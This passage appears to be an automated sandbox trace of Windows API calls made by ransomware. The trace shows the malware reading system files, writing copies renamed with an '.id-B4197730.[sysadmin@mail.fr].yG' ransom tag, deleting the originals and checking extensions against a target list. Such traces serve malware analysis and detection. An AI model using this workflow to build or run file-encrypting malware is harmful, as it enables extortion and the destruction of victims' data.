	[0039.965] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa008
	[0039.965] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6aa008, Size=0x20) returned 0x68fa80
	[0039.965] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f60
	[0039.965] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9f60, Size=0x20) returned 0x68f8f0
	[0039.965] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0039.965] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0039.965] Wow64DisableWow64FsRedirection (in: OldValue=0x2aeff50 | out: OldValue=0x2aeff50*=0x0) returned 1
	[0039.965] lstrlenW (lpString="kernel32.dll") returned 12
	[0039.965] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa80 | out: hHeap=0x650000) returned 1
	[0039.965] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0039.965] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f8f0 | out: hHeap=0x650000) returned 1
	[0039.966] Sleep (dwMilliseconds=0x64) 
	[0040.095] Sleep (dwMilliseconds=0x64) 
	[0040.302] Sleep (dwMilliseconds=0x64) 
	[0040.411] Sleep (dwMilliseconds=0x64) 
	[0040.522] Sleep (dwMilliseconds=0x64) 
	[0040.689] lstrcmpiW (lpString1=".ini", lpString2=".yG") returned -1
	[0040.689] lstrlenW (lpString="GetCurrentRollback.ini") returned 22
	[0040.689] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0040.755] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=156) returned 1
	[0040.755] CloseHandle (hObject=0x2c4) returned 1
	[0040.756] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20
	[0040.756] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0040.756] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0040.756] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.756] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.756] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0040.756] GetLastError () returned 0x0
	[0040.756] ReadFile (in: hFile=0x2c4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x9c, lpOverlapped=0x0) returned 1
	[0040.766] WriteFile (in: hFile=0x2c0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xa0, lpOverlapped=0x0) returned 1
	[0040.767] ReadFile (in: hFile=0x2c4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0040.767] WriteFile (in: hFile=0x2c0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x100, lpOverlapped=0x0) returned 1
	[0040.767] SetEndOfFile (hFile=0x2c0) returned 1
	[0040.767] CloseHandle (hObject=0x2c0) returned 1
	[0040.767] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.767] SetEndOfFile (hFile=0x2c4) returned 1
	[0040.768] CloseHandle (hObject=0x2c4) returned 1
	[0040.768] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0040.768] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1
	[0040.769] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.769] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.769] lstrlenW (lpString=".doc") returned 4
	[0040.769] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0040.769] lstrlenW (lpString=".docx") returned 5
	[0040.769] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1
	[0040.769] lstrlenW (lpString=".pdf") returned 4
	[0040.769] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0040.769] lstrlenW (lpString=".xls") returned 4
	[0040.769] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0040.769] lstrlenW (lpString=".xlsx") returned 5
	[0040.769] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1
	[0040.769] lstrlenW (lpString=".ppt") returned 4
	[0040.769] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0040.769] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.769] lstrlenW (lpString=".zip") returned 4
	[0040.769] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0040.769] lstrlenW (lpString=".rar") returned 4
	[0040.769] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0040.769] lstrlenW (lpString=".bz2") returned 4
	[0040.769] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0040.769] lstrlenW (lpString=".7z") returned 3
	[0040.769] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0040.769] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.769] lstrlenW (lpString=".dbf") returned 4
	[0040.769] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0040.769] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.769] lstrlenW (lpString=".1cd") returned 4
	[0040.769] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0040.769] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.769] lstrlenW (lpString=".jpg") returned 4
	[0040.769] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0040.769] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.770] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.770] lstrlenW (lpString=".doc") returned 4
	[0040.770] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0040.770] lstrlenW (lpString=".docx") returned 5
	[0040.770] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1
	[0040.770] lstrlenW (lpString=".pdf") returned 4
	[0040.770] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0040.770] lstrlenW (lpString=".xls") returned 4
	[0040.770] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0040.770] lstrlenW (lpString=".xlsx") returned 5
	[0040.770] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1
	[0040.770] lstrlenW (lpString=".ppt") returned 4
	[0040.770] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0040.770] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.770] lstrlenW (lpString=".zip") returned 4
	[0040.770] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0040.770] lstrlenW (lpString=".rar") returned 4
	[0040.770] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0040.770] lstrlenW (lpString=".bz2") returned 4
	[0040.770] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0040.770] lstrlenW (lpString=".7z") returned 3
	[0040.770] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0040.770] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.770] lstrlenW (lpString=".dbf") returned 4
	[0040.770] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0040.770] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.770] lstrlenW (lpString=".1cd") returned 4
	[0040.770] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0040.770] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0040.771] lstrlenW (lpString=".jpg") returned 4
	[0040.771] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0040.771] Sleep (dwMilliseconds=0x64) 
	[0041.006] lstrcmpiW (lpString1=".ini", lpString2=".yG") returned -1
	[0041.006] lstrlenW (lpString="desktop.ini") returned 11
	[0041.006] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0041.006] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=129) returned 1
	[0041.006] CloseHandle (hObject=0x2bc) returned 1
	[0041.006] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26
	[0041.007] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.007] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0041.007] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.007] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.007] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0041.080] GetLastError () returned 0x0
	[0041.080] ReadFile (in: hFile=0x2bc, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x81, lpOverlapped=0x0) returned 1
	[0041.080] WriteFile (in: hFile=0x2b8, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x90, lpOverlapped=0x0) returned 1
	[0041.081] ReadFile (in: hFile=0x2bc, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.081] WriteFile (in: hFile=0x2b8, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xea, lpOverlapped=0x0) returned 1
	[0041.081] SetEndOfFile (hFile=0x2b8) returned 1
	[0041.082] CloseHandle (hObject=0x2b8) returned 1
	[0041.082] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.082] SetEndOfFile (hFile=0x2bc) returned 1
	[0041.083] CloseHandle (hObject=0x2bc) returned 1
	[0041.083] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x26) returned 1
	[0041.083] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1
	[0041.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.084] lstrlenW (lpString=".doc") returned 4
	[0041.084] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0041.084] lstrlenW (lpString=".docx") returned 5
	[0041.084] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0041.084] lstrlenW (lpString=".pdf") returned 4
	[0041.084] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0041.084] lstrlenW (lpString=".xls") returned 4
	[0041.084] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0041.084] lstrlenW (lpString=".xlsx") returned 5
	[0041.084] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0041.084] lstrlenW (lpString=".ppt") returned 4
	[0041.084] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0041.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.084] lstrlenW (lpString=".zip") returned 4
	[0041.084] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0041.084] lstrlenW (lpString=".rar") returned 4
	[0041.084] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0041.084] lstrlenW (lpString=".bz2") returned 4
	[0041.084] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0041.084] lstrlenW (lpString=".7z") returned 3
	[0041.084] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0041.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.084] lstrlenW (lpString=".dbf") returned 4
	[0041.084] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0041.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.084] lstrlenW (lpString=".1cd") returned 4
	[0041.084] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0041.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.084] lstrlenW (lpString=".jpg") returned 4
	[0041.084] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0041.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.084] lstrlenW (lpString=".doc") returned 4
	[0041.085] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0041.085] lstrlenW (lpString=".docx") returned 5
	[0041.085] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0041.085] lstrlenW (lpString=".pdf") returned 4
	[0041.085] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0041.085] lstrlenW (lpString=".xls") returned 4
	[0041.085] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0041.085] lstrlenW (lpString=".xlsx") returned 5
	[0041.085] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0041.085] lstrlenW (lpString=".ppt") returned 4
	[0041.085] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0041.085] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.085] lstrlenW (lpString=".zip") returned 4
	[0041.085] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0041.085] lstrlenW (lpString=".rar") returned 4
	[0041.085] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0041.085] lstrlenW (lpString=".bz2") returned 4
	[0041.085] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0041.085] lstrlenW (lpString=".7z") returned 3
	[0041.085] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0041.085] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.085] lstrlenW (lpString=".dbf") returned 4
	[0041.085] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0041.085] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.085] lstrlenW (lpString=".1cd") returned 4
	[0041.085] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0041.085] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0041.085] lstrlenW (lpString=".jpg") returned 4
	[0041.085] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0041.085] Sleep (dwMilliseconds=0x64) 
	[0041.439] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0041.439] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0041.439] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0041.675] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=74214) returned 1
	[0041.675] CloseHandle (hObject=0x32c) returned 1
	[0041.676] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80
	[0041.676] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0041.676] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.676] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0041.676] GetLastError () returned 0x0
	[0041.676] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x121e6, lpOverlapped=0x0) returned 1
	[0041.951] WriteFile (in: hFile=0x330, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x121f0, lpOverlapped=0x0) returned 1
	[0041.953] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.953] WriteFile (in: hFile=0x330, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0041.953] SetEndOfFile (hFile=0x330) returned 1
	[0041.953] CloseHandle (hObject=0x330) returned 1
	[0041.954] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.954] SetEndOfFile (hFile=0x32c) returned 1
	[0041.955] CloseHandle (hObject=0x32c) returned 1
	[0041.956] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.956] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1
	[0041.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.956] lstrlenW (lpString=".doc") returned 4
	[0041.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.956] lstrlenW (lpString=".docx") returned 5
	[0041.956] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0041.956] lstrlenW (lpString=".pdf") returned 4
	[0041.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.956] lstrlenW (lpString=".xls") returned 4
	[0041.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.956] lstrlenW (lpString=".xlsx") returned 5
	[0041.956] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0041.956] lstrlenW (lpString=".ppt") returned 4
	[0041.956] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.957] lstrlenW (lpString=".zip") returned 4
	[0041.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.957] lstrlenW (lpString=".rar") returned 4
	[0041.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString=".bz2") returned 4
	[0041.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString=".7z") returned 3
	[0041.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.957] lstrlenW (lpString=".dbf") returned 4
	[0041.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.957] lstrlenW (lpString=".1cd") returned 4
	[0041.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.957] lstrlenW (lpString=".jpg") returned 4
	[0041.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.957] lstrlenW (lpString=".doc") returned 4
	[0041.957] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString=".docx") returned 5
	[0041.957] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0041.957] lstrlenW (lpString=".pdf") returned 4
	[0041.957] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString=".xls") returned 4
	[0041.957] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString=".xlsx") returned 5
	[0041.957] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0041.957] lstrlenW (lpString=".ppt") returned 4
	[0041.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.957] lstrlenW (lpString=".zip") returned 4
	[0041.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.957] lstrlenW (lpString=".rar") returned 4
	[0041.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.958] lstrlenW (lpString=".bz2") returned 4
	[0041.958] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.958] lstrlenW (lpString=".7z") returned 3
	[0041.958] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.958] lstrlenW (lpString=".dbf") returned 4
	[0041.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.958] lstrlenW (lpString=".1cd") returned 4
	[0041.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0041.958] lstrlenW (lpString=".jpg") returned 4
	[0041.958] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.958] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0041.958] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0041.958] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
